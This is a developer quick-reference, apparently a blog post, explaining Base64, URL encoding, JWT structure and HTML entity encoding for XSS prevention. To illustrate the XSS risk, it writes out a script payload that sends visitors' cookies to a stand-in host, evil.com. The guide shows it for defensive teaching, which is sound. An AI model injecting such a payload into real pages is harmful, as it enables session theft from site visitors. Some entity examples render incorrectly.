Base64, URL Encoding, and JWT: A Developer's Quick Reference
When to use Base64 vs URL encoding, how JWTs actually work, and the encoding mistakes that break production APIs.
Encoding trips up developers more often than it should. You Base64-encode something that should have been URL-encoded, or you stuff a secret into a JWT thinking it's encrypted. This is the reference I wish I'd had when I started building APIs.
Base64: Binary Data Over Text Channels
Base64 takes binary data and re-encodes it using 64 ASCII-safe characters (A-Z, a-z, 0-9, +, /). Every 3 bytes of input become 4 characters of output, padded with = if the input length isn't divisible by 3.
That's it. It's not encryption. It's not compression. It makes binary safe to transmit over protocols that only handle text.
When you actually need Base64
- Embedding images in HTML/CSS: Data URIs use Base64 to inline small images directly into markup. Saves an HTTP request for icons under ~2KB.
- Sending binary over JSON: JSON has no binary type. If you need to send a file through a JSON API, Base64 is the standard approach.
- Email attachments: MIME encoding uses Base64 to stuff files into what is fundamentally a text protocol.
- HTTP Basic Auth: The credentials are Base64-encoded (not encrypted) in the Authorization header.
Here's what HTTP Basic Auth actually looks like:
// Credentials: username "admin", password "s3cret"
const credentials = btoa("admin:s3cret");
// Result: "YWRtaW46czNjcmV0"
// The header sent with the request:
Authorization: Basic YWRtaW46czNjcmV0
// Anyone can decode this:
atob("YWRtaW46czNjcmV0")
// "admin:s3cret"Notice the problem? Anyone who intercepts that header can decode the credentials instantly. Basic Auth only makes sense over HTTPS. Try encoding and decoding strings yourself with the Base64 encoder/decoder.
URL Encoding: Making Special Characters Safe for URLs
URLs have reserved characters. & separates query parameters. = separates keys from values. / separates path segments. If your actual data contains these characters, the URL breaks.
URL encoding (percent-encoding) replaces unsafe characters with % followed by their hex value. A space becomes %20, an ampersand becomes %26.
The classic gotcha: URLs inside URLs
Say you're building an OAuth callback. You need to pass a redirect URL as a query parameter:
// WRONG - the & in the callback URL breaks the outer URL's parsing
https://auth.example.com/login?redirect=https://app.com/done?status=ok&token=abc
// The auth server sees these parameters:
// redirect = "https://app.com/done?status=ok"
// token = "abc" (oops, this got pulled into the outer URL)
// RIGHT - encode the entire callback URL
const callback = encodeURIComponent("https://app.com/done?status=ok&token=abc");
// Result: "https%3A%2F%2Fapp.com%2Fdone%3Fstatus%3Dok%26token%3Dabc"
https://auth.example.com/login?redirect=https%3A%2F%2Fapp.com%2Fdone%3Fstatus%3Dok%26token%3DabcUse encodeURIComponent() for values going into query parameters. Use encodeURI() when you want to encode a full URL but keep the structure intact (it won't encode /, ?, &). You can test both with the URL encoder/decoder.
JWT: Not Encryption, Just Signed JSON
A JSON Web Token has three parts separated by dots: header.payload.signature. The first two are just Base64url-encoded JSON. The third is a cryptographic signature.
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkphbmUgRG9lIiwicm9sZSI6ImFkbWluIiwiaWF0IjoxNzA5MjAwMDAwfQ.SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c
// Decoded header:
{
"alg": "HS256",
"typ": "JWT"
}
// Decoded payload:
{
"sub": "1234567890",
"name": "Jane Doe",
"role": "admin",
"iat": 1709200000
}The signature proves the token hasn't been tampered with. The server that created the JWT signed it with a secret key (HMAC) or private key (RSA/ECDSA). When the token comes back, the server verifies the signature matches the payload.
The mistake everyone makes once
The payload is not encrypted. Anyone with the token can decode it and read every field. Do not put passwords, API keys, credit card numbers, or anything sensitive in a JWT payload. This is the single most common JWT misconception.
If you need to inspect a token during debugging, paste it into the JWT decoder to see the header and payload instantly.
When JWTs make sense
Stateless authentication. The server doesn't need to look up a session in a database. The token itself carries the user ID, role, and expiration. The tradeoff: you can't revoke individual tokens without adding server-side state (which defeats the purpose). For most apps, short-lived JWTs plus refresh tokens is the practical middle ground.
HTML Entity Encoding: XSS Prevention 101
If you render user input into HTML without encoding it, you're handing attackers a script injection vector.
// User submits this as their "name": <script>document.location='https://evil.com/steal?cookie='+document.cookie</script> // Without encoding, that script executes in every visitor's browser. // With HTML entity encoding: <script>document.location='https://evil.com/steal?cookie='+document.cookie</script> // Now it renders as harmless text.
The key characters that need encoding: < becomes <, > becomes >, & becomes &, " becomes ", and ' becomes '.
Modern frameworks (React, Vue, Angular) encode by default when you use their templating syntax. The danger is when you bypass it -- React's dangerouslySetInnerHTML exists for a reason. You can test encoding with the HTML entity encoder.
Quick Decision Guide
| Scenario | Encoding |
|---|---|
| Sending binary data over JSON or email | Base64 |
| Putting a value in a URL query parameter | URL encoding |
| Stateless auth tokens | JWT (Base64url + signature) |
| Rendering user text in HTML | HTML entities |
| Verifying file integrity | Not encoding -- use a SHA-256 hash |
The core principle: encoding transforms data so it survives a specific transport layer. Pick the encoding that matches your transport, and remember that none of them are encryption.